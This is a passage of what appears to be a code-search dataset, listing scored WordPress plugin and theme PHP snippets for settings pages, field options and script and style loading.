wp_enqueue_script( self::PLUGIN_DOMAIN . '/settings.js' );\n\n }", "title": "" }, { "docid": "50c4a30cfe2fd78a9e94fbb4c6331da9", "score": "0.61004454", "text": "function TinyContactForm()\r\n{\r\n\t// get options from DB\r\n\t$this->o = get_option('tiny_contact_form');\r\n\t// widget\r\n\tadd_action('widgets_init', array( &$this, 'register_widgets'));\r\n\t// options page in menu\r\n\tadd_action('admin_menu', array( &$this, 'addOptionsPage'));\r\n\t// shortcode\r\n\tadd_shortcode('TINY-CONTACT-FORM', array( &$this, 'shortcode'));\r\n\t// add stylesheet\r\n\tadd_action('wp_head', array( &$this, 'addStyle'));\r\n\t// uninstall function\r\n\tif ( function_exists('register_uninstall_hook') )\r\n\t\tregister_uninstall_hook(ABSPATH.PLUGINDIR.'/tiny-contact-form/tiny-contact-form.php', array( &$this, 'uninstall')); \r\n\t// settingslink on plugin page\r\n\tadd_filter('plugin_action_links', array( &$this, 'pluginActions'), 10, 2);\r\n\t// add locale support\r\n\tif (defined('WPLANG') && function_exists('load_plugin_textdomain'))\r\n\t\tload_plugin_textdomain('tcf-lang', false, 'tiny-contact-form/locale');\r\n\t// creates image recources\r\n\t$this->setRecources();\r\n}", "title": "" }, { "docid": "9b0427712aaf8362ba4d49953afaced8", "score": "0.60992366", "text": "public function register_admin_styles() {\n \t\twp_enqueue_style( 'acf-website-field', plugins_url( 'acf-website-field.css', __FILE__ ) );\n \t}", "title": "" }, { "docid": "cfe22ce53ceec205730e2faa71efe8b6", "score": "0.6096045", "text": "function admin_init(){\n\tregister_setting('hreflangFlag_group', 'hreflangFlag_config', array(&$this,'validate_config') );\n\tadd_settings_section('config_section', 'Main Settings', array(&$this,'settings_section'), __FILE__);\n\tadd_settings_field('flags_base_url', 'Flags base URL', array(&$this,'setting_string_fn'), __FILE__, 'config_section', array('o' => 'hreflangFlag_config', 'f' => 'flags_url'));\n\tadd_settings_field('flags_base_dir', 'Flags base directory', array(&$this,'setting_string_fn'), __FILE__, 'config_section', array('o' => 'hreflangFlag_config', 'f' => 'flags_path', 't' => 'This directory must correspond to the URL above.'));\n\tadd_settings_field('position', 'Flag icon position', array(&$this,'setting_position_fn'), __FILE__, 'config_section', array('o' => 'hreflangFlag_config'));\n\t$options = get_option('hreflangFlag_config');\n\tadd_settings_field('test_flag', 'Test flag', array(&$this,'setting_string_fn'), __FILE__, 'config_section', array('o' => 'hreflangFlag_config', 'f' => 'test', 't' => \"<br>Some text a <a id='test_flag' href='#' style='background:url({$options['flags_url']}{$options['test']}) {$options['background-position']} no-repeat; padding-{$options['position']}: {$options['padding-size']};'>sample Link</a> some more text.\"));\n\tadd_settings_field('css_selector', 'CSS Selector', array(&$this,'setting_string_fn'), __FILE__, 'config_section', array('o' => 'hreflangFlag_config', 'f' => 'css_selector', 't' => 'Comma separated list of css selector (each will be used before the \"a\" tag in the css definition).<br />Exemple: \".entry\" will show flags only inside post/page entry nowhere else.'));\n\n\tregister_setting('hreflangFlag_group', 'hreflangFlag', array(&$this,'validate_flags') );\n\tadd_settings_section('flag_section', 'Flag Settings', array(&$this,'flag_section'), __FILE__);\n }", "title": "" }, { "docid": "12d58bc088fc5fc1026aca142de9aa55", "score": "0.60904145", "text": "function wp_custom_admin_interface_custom_frontend_css() {\n \n $options = get_option( 'wp_custom_admin_interface_settings_CustomCodeFrontend' );\n \n if(isset($options['wp_custom_admin_interface_deactivate_frontend_code'])){} else {\n \n if(strlen($options['wp_custom_admin_interface_custom_frontend_css_code'])>0){ \n \n wp_enqueue_style( 'custom-frontend-style', plugins_url( '/inc/frontendstyle.css', __FILE__ ),array(),wp_custom_admin_interface_get_version() ); \n wp_add_inline_style( 'custom-frontend-style', $options['wp_custom_admin_interface_custom_frontend_css_code'] ); \n \n }\n \n \n if(strlen($options['wp_custom_admin_interface_custom_frontend_javascript_code'])>0){\n wp_enqueue_script( 'custom-frontend-script', plugins_url( '/inc/frontendscript.js', __FILE__ ), array( 'jquery'),wp_custom_admin_interface_get_version());\n \n $custom_code = \"jQuery(document).ready(function ($) {\n {$options['wp_custom_admin_interface_custom_frontend_javascript_code']} \n });\";\n wp_add_inline_script( 'custom-frontend-script', $custom_code );\n \n \n }\n \n }\n}", "title": "" }, { "docid": "2602748e67f6c1fa41130ed2c63a229b", "score": "0.6090093", "text": "function panda_custom_settings(){\n\tregister_setting('panda-settings-group', 'first_name');\n\n\t//add_settings_section( $id, $title, $callback, $page )\n\tadd_settings_section('panda-sidebar-options', 'Sidebar Options', 'panda_sidebar_options', 'panda_page');\n\n \t//add_settings_field( string $id, string $title, callable $callback, string $page, string $section = 'default', array $args = array() )\n\tadd_settings_field('sidebar-name', 'First Name', 'panda_sidebar_name', 'panda_page','panda-sidebar-options'); // last parameter here should matcmatch the id on the previous line\n\t\n\n}", "title": "" }, { "docid": "e8ebdc5ada6b1957ec82e1931b13c874", "score": "0.6089335", "text": "function socialize_style() {\r\n\t\t$socialize_settings=array();\r\n\t\t$socialize_settings=get_option('socialize_settings10');\r\n\t\tif(isset($socialize_settings['socialize_css']) && $socialize_settings['socialize_css'] != \"on\"){\r\n\t\t\twp_enqueue_style('socialize', SOCIALIZE_URL . 'frontend/css/socialize.css');\t\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "b59f8eee97b4fbcdfbdd02dec766dc50", "score": "0.6088955", "text": "function punkacademia_events_theme_options_init() {\n\n\t\t// Register a setting and its sanitization callback\n\t\t// register_setting( $option_group, $option_name, $sanitize_callback );\n\t\t// $option_group - A settings group name.\n\t\t// $option_name - The name of an option to sanitize and save.\n\t\t// $sanitize_callback - A callback function that sanitizes the option's value.\n\t\tregister_setting( 'punkacademia_events_options', 'punkacademia_events_theme_options', __NAMESPACE__ . '\\\\punkacademia_events_theme_options_validate' );\n\n\n\t\t// Register our settings field group\n\t\t// add_settings_section( $id, $title, $callback, $page );\n\t\t// $id - Unique identifier for the settings section\n\t\t// $title - Section title\n\t\t// $callback - // Section callback (we don't want anything)\n\t\t// $page - // Menu slug, used to uniquely identify the page. See punkacademia_events_theme_options_add_page().\n\t\tadd_settings_section( 'labels', __( 'Labels', 'punkacademia' ), '__return_false', 'events_options' );\n\t\tadd_settings_section( 'hides', __( 'Hide Calendar and Maps', 'punkacademia' ), '__return_false', 'events_options' );\n\t\tadd_settings_section( 'page_content', __( 'Page Content', 'punkacademia' ), '__return_false', 'events_options' );\n\n\n\t\t// Register our individual settings fields\n\t\t// add_settings_field( $id, $title, $callback, $page, $section );\n\t\t// $id - Unique identifier for the field.\n\t\t// $title - Setting field title.\n\t\t// $callback - Function that creates the field (from the Theme Option Fields section).\n\t\t// $page - The menu page on which to display this field.\n\t\t// $section - The section of the settings page in which to show the field.\n\t\tadd_settings_field( 'labels_register', __( 'Register', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_labels_register', 'events_options', 'labels' );\n\n\t\tadd_settings_field( 'hide_google_calendar', __( 'Google Calendar', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_hide_google_calendar', 'events_options', 'hides' );\n\t\tadd_settings_field( 'hide_ical_invite', __( 'iCal Invite', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_hide_ical_invite', 'events_options', 'hides' );\n\t\tadd_settings_field( 'hide_google_maps', __( 'Google Maps', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_hide_google_maps', 'events_options', 'hides' );\n\n\t\tadd_settings_field( 'page_slug', __( 'URL Path', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_page_slug', 'events_options', 'page_content' );\n\t\tadd_settings_field( 'page_title_upcoming', __( 'Page Title Upcoming', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_page_title_upcoming', 'events_options', 'page_content' );\n\t\tadd_settings_field( 'page_content_upcoming', __( 'Page Content Upcoming', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_page_content_upcoming', 'events_options', 'page_content' );\n\t\tadd_settings_field( 'page_title_past', __( 'Page Title Past', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_page_title_past', 'events_options', 'page_content' );\n\t\tadd_settings_field( 'page_content_past', __( 'Page Content Past', 'punkacademia' ), __NAMESPACE__ . '\\\\punkacademia_events_settings_field_page_content_past', 'events_options', 'page_content' );\n\t}", "title": "" }, { "docid": "5bf28ffd12682969bae9ec4b1975e01f", "score": "0.6087757", "text": "public function bamobile_admin_style()\r\n {\r\n if (is_admin() && isset($_GET['page']) && $_GET['page'] == 'mobiconnector-settings') {\r\n if (!did_action('wp_enqueue_media')) {\r\n wp_enqueue_media();\r\n }\r\n wp_register_style('mobiconnector-settings-style', plugins_url('assets/css/mobiconnector-settings.css', MOBICONNECTOR_PLUGIN_FILE), array(), MOBICONNECTOR_VERSION, 'all');\r\n wp_enqueue_style('mobiconnector-settings-style');\r\n wp_register_script('mobiconnector_settings_js', plugins_url('assets/js/mobiconnector-settings.js', MOBICONNECTOR_PLUGIN_FILE), array('jquery'), MOBICONNECTOR_VERSION);\r\n $settings = array();\r\n wp_localize_script('mobiconnector_settings_js', 'mobiconnector_settings_js_params', $settings);\r\n wp_enqueue_script('mobiconnector_settings_js');\r\n }\r\n if (is_admin() && isset($_GET['page']) && $_GET['page'] == 'mobiconnector-settings' && isset($_GET['mtab']) && $_GET['mtab'] == 'onesignal') {\r\n wp_register_style('mobiconnector-onesignal-style', plugins_url('assets/css/mobiconnector-onesignal.css', MOBICONNECTOR_PLUGIN_FILE), array(), MOBICONNECTOR_VERSION, 'all');\r\n wp_enqueue_style('mobiconnector-onesignal-style');\r\n\r\n wp_register_script('mobiconnector_settings_onesignal_js', plugins_url('assets/js/mobiconnector-onesignal.js', MOBICONNECTOR_PLUGIN_FILE), array('jquery'), MOBICONNECTOR_VERSION);\r\n $ajax_nonce = wp_create_nonce(\"mobiconnector-onesignal-ajax\");\r\n $setting = array(\r\n 'baseplugin_url' => plugin_dir_url('mobiconnector/mobiconnector.php'),\r\n 'ajax_url' => admin_url('admin-ajax.php'),\r\n 'security' => $ajax_nonce\r\n );\r\n wp_localize_script('mobiconnector_settings_onesignal_js', 'mobiconnector_settings_onesignal_js_params', $setting);\r\n wp_enqueue_script('mobiconnector_settings_onesignal_js');\r\n\r\n wp_register_script('mobiconnector_colorpicker_js', plugins_url('assets/js/mobiconnector-color-picker.js', MOBICONNECTOR_PLUGIN_FILE), array('jquery'), MOBICONNECTOR_VERSION);\r\n $color = array();\r\n wp_localize_script('mobiconnector_colorpicker_js', 'mobiconnector_colorpicker_js_params', $color);\r\n wp_enqueue_script('mobiconnector_colorpicker_js');\r\n }\r\n }", "title": "" }, { "docid": "19982d0414ed17df9a3aeacd78076ef4", "score": "0.6076888", "text": "public function init() {\n\n\t\t?>\n\t\t\n\t \n\t <h1><?php echo get_admin_page_title(); ?></h1>\n\n <?php $this->notify('Settnigs'); ?>\n\n <div class=\"col-left\">\n <form method=\"post\" action=\"options.php\">\n <?php settings_fields('atq_settings'); ?>\n\t <div class=\"form-field\">\n\t <label for=\"atq_header\">Header</label>\n\t <textarea name=\"atq_settings[atq_header]\" id=\"atq_header\" value=\"<?php echo $this->setting->atq_header; ?>\" ></textarea>\n\t </div>\n\n\t <div class=\"form-field\">\n\t <label for=\"atq_footer\"> Footer</label>\n\t <textarea name=\"atq_settings[atq_footer]\" id=\"atq_footer\" value=\"<?php echo $this->setting->atq_footer; ?>\" ></textarea>\n\t \t</div>\n\n\t \t<label for=\"atq_mail\"> Email</label>\n\t <input type=\"text\" name=\"atq_settings[atq_mail]\" id=\"atq_mail\" value=\"<?php echo $this->setting->atq_mail; ?>\">\n\t \t</div>\n\n\t \t<p class=\"submit\"><input type=\"submit\" name=\"submit\" id=\"submit\" class=\"button button-primary\" value=\"Save Settings\"></p>\n\t \n\t </form> \n\t </div>\n\t \n\n\n\n <?php\n\n\t}", "title": "" }, { "docid": "d75d93d129dde75d49efe223b181e24f", "score": "0.6072014", "text": "function register_settings()\n\t{\n\t\t// Registra las propiedades del plugin\n\t\tforeach ($this->settings as $setting => $sanitize) {\n\t\t\tregister_setting( $this->settings_group_name, $setting, $sanitize);\n\t\t}\n\n\t\t// Registra la hoja de estilos\n\t\twp_register_style( $this->stylesheet, plugins_url('twbox_settings.css', __FILE__));\n\t}", "title": "" }, { "docid": "9837abda19672d5f19f227725062b080", "score": "0.6063841", "text": "public function load_custom_wp_admin_style() {\r\n\t\twp_enqueue_style( 'custom_wp_admin_codemirrordark_css', plugins_url('back-end/css/codemirror-dark.css', __FILE__) );\r\n\t\twp_enqueue_style( 'custom_wp_admin_icon_css', plugins_url('back-end/css/icons.css', __FILE__) );\r\n\t\twp_enqueue_style( 'custom_wp_admin_css', plugins_url('back-end/css/widgets.css', __FILE__) );\r\n\t\twp_enqueue_script( 'ckeditor_widgets-acf', plugins_url('back-end/js/ckeditor/ckeditor.js', __FILE__));\r\n\t\twp_enqueue_script( 'custom_wp_admin_js', plugins_url('back-end/js/admin.js', __FILE__) );\r\n\t\twp_enqueue_script( 'custom_wp_widgets_js', plugins_url('back-end/js/widgets.js', __FILE__) );\r\n\t\t\r\n\t\t$cm_settings['codeEditor'] = wp_enqueue_code_editor(array('type' => 'text/css'));\r\n\t\twp_localize_script('jquery', 'cm_settings', $cm_settings);\r\n\t\twp_enqueue_script('wp-theme-plugin-editor');\r\n\t\twp_enqueue_style('wp-codemirror');\r\n\t\t\r\n\t\t$show_fonts = get_field('widgets_acf_show_fonts','options');\r\n\t\t\r\n\t\tif($show_fonts==true){\r\n\t\t\t$fonts_selected = get_field('fonts_types_widget_acf', 'options');\r\n\t\t\tforeach ($fonts_selected as $key => $font) {\r\n\t\t\t\t$font_string = explode('--',$font);\r\n\t\t\t\twp_enqueue_style('font_google_widgets_acf'.$font_string[0],'https://fonts.googleapis.com/css?family='.$font_string[0].'|'.$font_string[0].':'.$font_string[1].'');\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t}", "title": "" }, { "docid": "94e71d01b51aa5d562003853577f6dee", "score": "0.6061984", "text": "function rfwplugin_settings_section_cb(){\n esc_html_e( 'Use Inspector to see the forms', 'rfwplugin' );\n\n}", "title": "" }, { "docid": "9463d2c9a7a8cb35e8adbb35867b732c", "score": "0.6060772", "text": "function cuttlefish_theme_options_init() {\n\tregister_setting(\n\t\t'cuttlefish_options',\n\t\t'cuttlefish_theme_options',\n\t\t'cuttlefish_validate_theme_options'\n\t);\n\n\tadd_settings_section( 'general', '', '__return_false', 'theme_options' );\n\n\tadd_settings_field(\n\t\t'color_scheme',\n\t\t__( 'Color Scheme', 'cuttlefish' ),\n\t\t'cuttlefish_settings_field_color_scheme',\n\t\t'theme_options',\n\t\t'general'\n\t);\n}", "title": "" }, { "docid": "44ecc76a8d2150a2269ab8ebff1051a2", "score": "0.6058394", "text": "function artiphon_press_options_callback() {\n if ( !current_user_can( 'manage_options' ) ) {\n wp_die( __( 'You do not have sufficient permissions to access this page.' ) );\n }\n ?>\n <div class=\"wrap\">\n\n <h1>Press Header Options</h1>\n\n <form method=\"post\" action=\"options.php\">\n <?php settings_fields( 'artiphon_press-options-group' ); ?>\n <?php do_settings_sections( 'artiphon_press-options-group' ); ?>\n <table class=\"form-table\">\n\n <tr valign=\"top\">\n <th scope=\"row\">Image URL</th>\n <td>\n <input type=\"text\" name=\"artiphon_press_header_image\" value=\"<?php echo esc_attr( get_option('artiphon_press_header_image') ); ?>\" placeholder=\"http://...\" class=\"regular-text\" />\n </td>\n </tr>\n\n <tr valign=\"top\">\n <th scope=\"row\">Background Color</th>\n <td>\n <input type=\"text\" name=\"artiphon_press_header_bgcolor\" value=\"<?php echo esc_attr( get_option('artiphon_press_header_bgcolor') ); ?>\" placeholder=\"#f37b42\" />\n </td>\n </tr>\n\n <tr valign=\"top\">\n <th scope=\"row\">Link URL <small>(optional)</small></th>\n <td>\n <input type=\"text\" name=\"artiphon_press_header_link\" value=\"<?php echo esc_attr( get_option('artiphon_press_header_link') ); ?>\" placeholder=\"http://...\" class=\"regular-text\" />\n </td>\n </tr>\n\n </table>\n <?php submit_button(); ?>\n </form>\n\n </div>\n <?php\n}", "title": "" }, { "docid": "f296b042aa3c57dd9ecb484c5d405cd5", "score": "0.60567945", "text": "function FieldHolder() {\n\t\tRequirements::javascript(THIRDPARTY_DIR . '/jquery/jquery.js');\n\t\tRequirements::javascript('swipestripe/javascript/OptionGroupField.js');\n\t\treturn parent::FieldHolder();\n\t}", "title": "" }, { "docid": "cbe7a93b38e35f5d8fb5b2184827001f", "score": "0.60509646", "text": "public function settings() {\n\t\tglobal $current_user;\n\t\t$pirate_forms_options = PirateForms_Util::get_option();\n\t\t$plugin_options = $this->get_plugin_options();\n\t\tinclude_once PIRATEFORMS_DIR . 'admin/partials/settings.php';\n\t}", "title": "" }, { "docid": "da5eb2a5ce6c86f5a0a75021389d707f", "score": "0.6047367", "text": "public function page_init()\n { \n register_setting(\n 'social_option_group', // Option group\n 'social_option_name', // Option name\n array( $this, 'sanitize' ) // Sanitize\n );\n\n add_settings_section(\n 'setting_section_id', // ID\n 'Social URL Settings', // Title\n array( $this, 'print_section_info' ), // Callback\n 'social-setting-admin' // Page\n ); \n\n add_settings_field(\n 'facebook_social', // ID\n 'facebook_social', // Title \n array( $this, 'facebook_callback' ), // Callback\n 'social-setting-admin', // Page\n 'setting_section_id' // Section \n ); \n\n add_settings_field(\n 'twitter_social', \n 'twitter_social', \n array( $this, 'twitter_callback' ), \n 'social-setting-admin', \n 'setting_section_id'\n ); \n }", "title": "" }, { "docid": "439dc749090c4d05e1a182ad98305706", "score": "0.6044569", "text": "function shoestrap_customizer_fields() {\n\n\t$settings = array(\n\t\t'colors_section' => array(\n\t\t\t'slug' => 'general',\n\t\t\t'title' => __( 'General', 'shoestrap' ),\n\t\t\t'fields' => array(\n\t\t\t\t'body_bg' => array(\n\t\t\t\t\t'label' => __( 'Background', 'shoestrap' ),\n\t\t\t\t\t'type' => 'background',\n\t\t\t\t\t'style' => 'body, .wrap.main-section .content .bg, .form-control, .btn, .panel',\n\t\t\t\t\t'priority' => 1,\n\t\t\t\t),\n\t\t\t\t'color_brand_primary' => array(\n\t\t\t\t\t'label' => __( 'Accent', 'shoestrap' ),\n\t\t\t\t\t'type' => 'color',\n\t\t\t\t\t'style' => 'a',\n\t\t\t\t\t'priority' => 3,\n\t\t\t\t),\n\t\t\t\t'navbar_bg' => array(\n\t\t\t\t\t'label' => __( 'NavBar', 'shoestrap' ),\n\t\t\t\t\t'type' => 'color',\n\t\t\t\t\t'style' => '',\n\t\t\t\t\t'priority' => 4,\n\t\t\t\t),\n\t\t\t),\n\t\t),\n\t);\n\n\treturn $settings;\n}", "title": "" }, { "docid": "23923a6a98bf069eaadcfe4125edcec1", "score": "0.6043849", "text": "function dynamik_fe_style_editor() {\n\t\n?>\n\t<div id=\"dynamik-fe-style-editor\" style=\"display:none;\">\n\t\t\n\t\t<h3>\n\t\t\t<span class=\"dashicons dashicons-move\" style=\"padding-top:3px;\"></span>\n\t\t</h3>\n\t\t\n\t\t<?php do_action( 'dynamik_fe_style_editor_form' ); ?>\n\t\t\n\t</div><!-- END #dynamik-fe-style-editor -->\n<?php\n\n}", "title": "" }, { "docid": "c7b176040fe85527ae90cfe2288040eb", "score": "0.6042167", "text": "function render_field_settings($field)\n {\n /*\n * acf_render_field_setting\n *\n * This function will create a setting for your field. Simply pass the $field parameter and an array of field settings.\n * The array of settings does not require a `value` or `prefix`; These settings are found from the $field array.\n *\n * More than one setting can be added by copy/paste the above code.\n * Please note that you must also have a matching $defaults value for the field name (font_size)\n */\n\n // clear numeric settings\n $clear = [\n 'min_width',\n 'min_height',\n 'min_size',\n 'max_width',\n 'max_height',\n 'max_size',\n ];\n\n foreach ($clear as $k) {\n if (empty($field[$k])) {\n $field[$k] = '';\n }\n }\n\n // return_format\n acf_render_field_setting($field, [\n 'label' => __('Crop type', 'acf-image-aspect-ratio-crop'),\n 'type' => 'select',\n 'name' => 'crop_type',\n 'class' => 'crop-type-select',\n 'choices' => [\n 'aspect_ratio' => __(\n 'Aspect ratio',\n 'acf-image-aspect-ratio-crop'\n ),\n 'pixel_size' => __('Pixel size', 'acf-image-aspect-ratio-crop'),\n 'free_crop' => __('Free crop', 'acf-image-aspect-ratio-crop'),\n ],\n ]);\n\n acf_render_field_setting($field, [\n 'label' => __('Width', 'acf-image-aspect-ratio-crop'),\n 'type' => 'number',\n 'required' => true,\n 'class' => 'js-aspect-ratio-width',\n 'name' => 'aspect_ratio_width',\n 'conditional_logic' => [\n 'field' => 'crop_type',\n 'operator' => '!=',\n 'value' => 'free_crop',\n ],\n ]);\n\n acf_render_field_setting($field, [\n 'label' => __('Height', 'acf-image-aspect-ratio-crop'),\n 'type' => 'number',\n 'required' => true,\n 'class' => 'js-aspect-ratio-height',\n 'name' => 'aspect_ratio_height',\n 'conditional_logic' => [\n 'field' => 'crop_type',\n 'operator' => '!=',\n 'value' => 'free_crop',\n ],\n ]);\n\n // return_format\n acf_render_field_setting($field, [\n 'label' => __('Return Value', 'acf'),\n 'instructions' => __(\n 'Specify the returned value on front end',\n 'acf'\n ),\n 'type' => 'radio',\n 'name' => 'return_format',\n 'layout' => 'horizontal',\n 'choices' => [\n 'array' => __('Image Array', 'acf'),\n 'url' => __('Image URL', 'acf'),\n 'id' => __('Image ID', 'acf'),\n ],\n ]);\n\n // preview_size\n acf_render_field_setting($field, [\n 'label' => __('Preview Size', 'acf'),\n 'instructions' => __('Shown when entering data', 'acf'),\n 'type' => 'select',\n 'name' => 'preview_size',\n 'choices' => acf_get_image_sizes(),\n ]);\n\n // library\n acf_render_field_setting($field, [\n 'label' => __('Library', 'acf'),\n 'instructions' => __('Limit the media library choice', 'acf'),\n 'type' => 'radio',\n 'name' => 'library',\n 'layout' => 'horizontal',\n 'choices' => [\n 'all' => __('All', 'acf'),\n 'uploadedTo' => __('Uploaded to post', 'acf'),\n ],\n ]);\n\n // min\n acf_render_field_setting($field, [\n 'label' => __('Minimum', 'acf'),\n 'instructions' => __(\n 'Restrict which images can be uploaded',\n 'acf'\n ),\n 'type' => 'text',\n 'name' => 'min_width',\n 'class' => 'js-min-width',\n 'prepend' => __('Width', 'acf'),\n 'append' => 'px',\n ]);\n\n acf_render_field_setting($field, [\n 'label' => '',\n 'type' => 'text',\n 'name' => 'min_height',\n 'class' => 'js-min-height',\n 'prepend' => __('Height', 'acf'),\n 'append' => 'px',\n '_append' => 'min_width',\n ]);\n\n acf_render_field_setting($field, [\n 'label' => '',\n 'type' => 'text',\n 'name' => 'min_size',\n 'prepend' => __('File size', 'acf'),\n 'append' => 'MB',\n '_append' => 'min_width',\n ]);\n\n // max\n acf_render_field_setting($field, [\n 'label' => __('Maximum', 'acf'),\n 'instructions' => __(\n 'Restrict which images can be uploaded',\n 'acf'\n ),\n 'type' => 'text',\n 'name' => 'max_width',\n 'prepend' => __('Width', 'acf'),\n 'append' => 'px',\n ]);\n\n acf_render_field_setting($field, [\n 'label' => '',\n 'type' => 'text',\n 'name' => 'max_height',\n 'prepend' => __('Height', 'acf'),\n 'append' => 'px',\n '_append' => 'max_width',\n ]);\n\n acf_render_field_setting($field, [\n 'label' => '',\n 'type' => 'text',\n 'name' => 'max_size',\n 'prepend' => __('File size', 'acf'),\n 'append' => 'MB',\n '_append' => 'max_width',\n ]);\n\n // allowed type\n acf_render_field_setting($field, [\n 'label' => __('Allowed file types', 'acf'),\n 'instructions' => __(\n 'Comma separated list. Leave blank for all types',\n 'acf'\n ),\n 'type' => 'text',\n 'name' => 'mime_types',\n ]);\n }", "title": "" }, { "docid": "cee370773cb5f1f95716097ab02f308f", "score": "0.6041441", "text": "function render_editor_js(){\n ?>\n <script type='text/javascript'>\n\n jQuery(document).bind(\"gform_load_field_settings\", function(event, field, form){\n //only show taxonomy for selects and radios\n var valid_types = new Array('select', 'radio', 'checkbox', 'multiselect');\n\n //alert(field['type']);\n\n if(jQuery.inArray(field['type'], valid_types) != -1) {\n\n var $taxonomy_setting_container = jQuery(\".populate_with_taxonomy_field_setting\");\n //show the setting container!\n $taxonomy_setting_container.show();\n\n //get the saved taxonomy\n var populateTaxonomy = (typeof field['populateTaxonomy'] != 'undefined' && field['populateTaxonomy'] != '') ? field['populateTaxonomy'] : false;\n\n if (populateTaxonomy != false) {\n //check the checkbox if previously checked\n $taxonomy_setting_container.find(\"input:checkbox\").attr(\"checked\", \"checked\");\n //set the select and show\n $taxonomy_setting_container.find(\"select\").val(populateTaxonomy).show();\n } else {\n $taxonomy_setting_container.find(\"input:checkbox\").removeAttr(\"checked\");\n $taxonomy_setting_container.find(\"select\").val('').hide();\n }\n\n if (field['type'] == 'select') {\n var $populate_post_type_container = jQuery(\".populate_with_post_type_field_setting\");\n $populate_post_type_container.show();\n\n //get the saved post type\n var populatePostType = (typeof field['populatePostType'] != 'undefined' && field['populatePostType'] != '') ? field['populatePostType'] : false;\n\n if (populatePostType != false) {\n //check the checkbox if previously checked\n $populate_post_type_container.find(\"input.toggle_setting\").attr(\"checked\", \"checked\");\n //set the select\n $populate_post_type_container.find(\"select\").val(populatePostType);\n //show the div\n $populate_post_type_container.find(\"div\").show();\n\n //get the saved check for setting the parent post\n var setParent = (typeof field['setParentPost'] != 'undefined' && field['setParentPost'] != '') ? field['setParentPost'] : false;\n if (setParent != false) {\n $populate_post_type_container.find(\".check_parent\").attr(\"checked\", \"checked\");\n } else {\n $populate_post_type_container.find(\".check_parent\").removeAttr(\"checked\");\n }\n } else {\n /*$taxonomy_setting_container.find(\"input.toggle_setting\").removeAttr(\"checked\");\n $taxonomy_setting_container.find(\"select\").val('');*/\n\t $populate_post_type_container.find(\"input.toggle_setting\").removeAttr(\"checked\");\n\t $populate_post_type_container.find(\"select\").val('');\n }\n\n }\n\n } else if (field['type'] == 'post_title') {\n\n var $cpt_setting_container = jQuery(\".custom_post_type_field_setting\" ),\n saveAsCPT = ( typeof field['saveAsCPT'] != 'undefined' && field['saveAsCPT'] != '') ? field['saveAsCPT'] : 'post';\n\n //set the select and show\n $cpt_setting_container.show().find( 'select' ).val( saveAsCPT );\n\n } else if (field['type'] == 'text') {\n var $tax_setting_container = jQuery('.save_to_taxonomy_field_setting');\n\n $tax_setting_container.show();\n\n var saveToTax = (typeof field['saveToTaxonomy'] != 'undefined' && field['saveToTaxonomy'] != '') ? field['saveToTaxonomy'] : false;\n\n if (saveToTax != false) {\n //check the checkbox if previously checked\n $tax_setting_container.find(\"input.toggle_setting\").attr(\"checked\", \"checked\");\n //set the select\n $tax_setting_container.find(\"select\").val(saveToTax);\n //show the div\n $tax_setting_container.find(\"div\").show();\n\n //get the saved check for using enhanced UI\n var useEnhancedUI = (typeof field['taxonomyEnhanced'] != 'undefined' && field['taxonomyEnhanced'] != '') ? field['taxonomyEnhanced'] : false;\n if (useEnhancedUI != false) {\n $tax_setting_container.find(\".check_tax_enhanced\").attr(\"checked\", \"checked\");\n } else {\n $tax_setting_container.find(\".check_tax_enhanced\").removeAttr(\"checked\");\n }\n\n } else {\n $tax_setting_container.find(\"input.toggle_setting\").removeAttr(\"checked\");\n $tax_setting_container.find(\"div\").hide();\n $tax_setting_container.find(\".check_tax_enhanced\").removeAttr(\"checked\");\n $tax_setting_container.find(\"select\").val('');\n }\n }\n });\n\n jQuery(\".populate_with_taxonomy_field_setting input:checkbox\").click(function() {\n var checked = jQuery(this).is(\":checked\");\n var $select = jQuery(this).parent(\".populate_with_taxonomy_field_setting:first\").find(\"select\");\n if(checked){\n $select.slideDown();\n\n //uncheck post type\n var $pt_container = jQuery(this).parents(\"ul:first\").find(\".populate_with_post_type_field_setting:first\");\n var $pt_check = $pt_container.find(\"input.toggle_setting\");\n var $pt_div = $pt_container.find(\"div\");\n if ($pt_check.is(\":checked\")) {\n\n SetFieldProperty('populatePostType','');\n $pt_div.slideUp();\n $pt_check.removeAttr('checked');\n\n }\n\n } else {\n SetFieldProperty('populateTaxonomy','');\n $select.slideUp();\n }\n });\n\n jQuery(\".populate_with_post_type_field_setting .toggle_setting\").click(function() {\n var checked = jQuery(this).is(\":checked\");\n var $div = jQuery(this).parent(\".populate_with_post_type_field_setting:first\").find(\"div\");\n if(checked){\n $div.slideDown();\n //uncheck taxonomy\n var $tax_container = jQuery(this).parents(\"ul:first\").find(\".populate_with_taxonomy_field_setting:first\");\n var $tax_check = $tax_container.find(\"input:checkbox\");\n var $tax_select = $tax_container.find(\"select\");\n if ($tax_check.is(\":checked\")) {\n\n SetFieldProperty('populateTaxonomy','');\n $tax_select.slideUp();\n $tax_check.removeAttr('checked');\n \n }\n\n } else {\n SetFieldProperty('populatePostType','');\n $div.slideUp();\n }\n });\n\n jQuery(\".save_to_taxonomy_field_setting .toggle_setting\").click(function() {\n var checked = jQuery(this).is(\":checked\");\n var $div = jQuery(this).parent(\".save_to_taxonomy_field_setting:first\").find(\"div\");\n if(checked){\n $div.slideDown();\n } else {\n SetFieldProperty('saveToTaxonomy','');\n $div.slideUp();\n }\n });\n\n </script>\n <?php\n }", "title": "" }, { "docid": "e6c42b51be23b119050af2a1f662818e", "score": "0.6040677", "text": "function render_field_settings( $field ) {\n\t\t\tacf_render_field_setting(\n\t\t\t\t$field,\n\t\t\t\tarray(\n\t\t\t\t\t'label' => __( 'Embed Size', 'acf' ),\n\t\t\t\t\t'type' => 'text',\n\t\t\t\t\t'name' => 'width',\n\t\t\t\t\t'prepend' => __( 'Width', 'acf' ),\n\t\t\t\t\t'append' => 'px',\n\t\t\t\t\t'placeholder' => 